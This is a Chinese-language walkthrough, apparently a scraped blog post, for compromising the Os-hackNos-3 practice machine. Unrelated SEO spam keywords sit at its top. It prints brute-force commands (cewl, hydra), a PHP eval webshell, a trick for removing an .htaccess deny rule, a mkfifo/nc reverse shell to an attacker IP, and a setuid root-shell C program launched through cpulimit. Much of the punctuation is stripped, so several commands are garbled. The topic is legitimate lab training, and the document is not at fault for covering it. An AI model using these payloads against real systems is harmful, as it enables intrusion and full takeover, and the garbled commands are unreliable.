淄博百度网站制作,淘宝关键词优化怎么弄,千助网站公司,四川省建设厅职改办网站Os-hackNos-3 
一、主机发现和端口扫描 主机发现#xff0c;靶机地址192.168.80.145  arp-scan -l端口扫描#xff0c;开放了22和80端口 nmap -P -sV 192.168.80.145二、信息收集 访问80端口 find the Bug
You need extra WebSec翻译
找到Bug
你需要额外的网络安全路径扫描 d…Os-hackNos-3 
一、主机发现和端口扫描 主机发现靶机地址192.168.80.145  arp-scan -l端口扫描开放了22和80端口 nmap -P -sV 192.168.80.145二、信息收集 访问80端口 find the Bug
You need extra WebSec翻译
找到Bug
你需要额外的网络安全路径扫描 dirsearch -u http://192.168.80.145/ -e *访问/scripts   查看automail.pl文件 #!/usr/bin/perl
#######################################################################
#    automail.pl
#
#    Perl script used for remote email piping...same as as the PHP version.
#
#    Peter Rotich peterosticket.com
#    Copyright (c) 2006-2013 osTicket
#    http://www.osticket.com
#
#    Released under the GNU General Public License WITHOUT ANY WARRANTY.
#    See LICENSE.TXT for details.
#
#    vim: expandtab sw4 ts4 sts4:
########################################################################Configuration: Enter the url and key. That is it.
#  url URL to pipe.php e.g http://yourdomain.com/support/api/tickets.email
#  key API Key (see admin panel on how to generate a key)%config  (url  http://yourdomain.com/support/api/tickets.email,key  API KEY HERE);#Get piped message from stdin
while (STDIN) {$rawemail . $_;
}use LWP::UserAgent;
$ua  LWP::UserAgent-new;$ua-agent(osTicket API Client v1.7);
$ua-default_header(X-API-Key  $config{key});
$ua-timeout(10);use HTTP::Request::Common qw(POST);my $enc text/plain;
my $req  (POST $config{url}, Content_Type  $enc, Content  $rawemail);
$response  $ua-request($req);#
# Process response
# Add exit codes - depending on what your  MTA expects.
# By default postfix exit codes are used - which are standard for MTAs.
#use Switch;$code  75;    
switch($response-code) {case 201 { $code  0; }case 400 { $code  66; }case [401,403] { $code  77; }case [415,416,417,501] { $code  65; }case 503 { $code  69 }case 500 { $code  75 }
}
#print RESPONSE: . $response-code. .$code;
exit $code;这段Perl脚本的功能是通过osTicket API将电子邮件消息发送到指定的URL并根据响应的状态码确定退出码。1. %config  (url  http://yourdomain.com/support/api/tickets.email, key  API KEY HERE); - 定义了存储URL和API密钥的哈希表。
2. while (STDIN) { $rawemail . $_; } - 从标准输入读取管道传输的电子邮件消息并存储在变量 $rawemail 中。
3. use LWP::UserAgent; $ua  LWP::UserAgent-new; $ua-agent(osTicket API Client v1.7); $ua-default_header(X-API-Key  $config{key}); $ua-timeout(10); - 导入LWP::UserAgent模块创建UserAgent对象并设置默认的用户代理和超时。
4. use HTTP::Request::Common qw(POST); - 导入HTTP::Request::Common模块并引入POST请求类型。
5. my $req  (POST $config{url}, Content_Type  $enc, Content  $rawemail); $response  $ua-request($req); - 创建一个POST请求将原始电子邮件消息作为内容发送到指定的URL并获取响应。
6. use Switch; - 导入Switch模块用于实现switch语句。
7. switch($response-code) { case 201 {...} case 400 {...} ... } - 用switch语句根据响应状态码选择不同的退出码根据邮件传输代理的标准。
8. exit $code; - 根据计算得到的退出码退出脚本没啥价值根据上面的提示访问/websec路径发现一个博客和一个邮箱 contacthacknos.com博客使用Glia CMS搭建的    
三、密码爆破 猜测刚才发现的邮箱就是用户名再爬取网站信息生成密码本 cewl http://192.168.80.145/websec/ /tmp/passwd密码爆破 hydra -l contacthacknos.com -P /tmp/passwd 192.168.80.145 http-post-form /websec/login:username^USER^password^PASS^:Wrong email or password -V登录系统发现是管理员权限版本是1.10.9 用户名contacthacknos.com
密码Securityx四、漏洞利用 在后台发现文件上传功能content-file managee上传一句话mua ?php eval($_POST[glc]);?发现文件被上传到了assets目录在该目录中发现了.htaccess文件禁止访问php文件那么将deny from all删除后保存   使用蚁剑连接拿到shell   
五、权限提升 nc建立连接 kalinc -lvnp 8848
靶机rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 21|nc 192.168.80.139 8848 /tmp/f然后执行python -c import pty; pty.spawn(/bin/bash)查看是否存在可以提权的命令 find /usr/bin -type f -perm -us 2/dev/null1.第一种方法 发现cpulimit 命令尝试用cpulimit提权 一个用户调整CPU使用的命令cpulimit命令主要对长期运行的和 CPU 密集型的进程有用#includestdio.h
#includeunistd.h
#includestdlib.hint main()
{setuid(0);setgid(0);system(/bin/bash);return 0;
}将上面的代码编译为exp上传之后使用添加运行权限 gcc cpu.c -o exp
chmod 777 exp使用cpulimit -l 100 -f ./exp进行提权  
2.第二种方法 在/var/local/database中发现了经过加密的内容 Expenses
Software Licenses,$2.78
Maintenance,$68.87
Mortgage Interest,$70.35
Advertising,$9.78
Phone,$406.80
Insurance,$9.04
Opss;fackespreadsheet对密文进行解密得到密码明文Securityx https://link.csdn.net/?targethttps%3A%2F%2Fwww.spammimic.com%2Fspreadsheet.php登录用户blackdevil该用户是在/home目录下发现的然后用sudo提权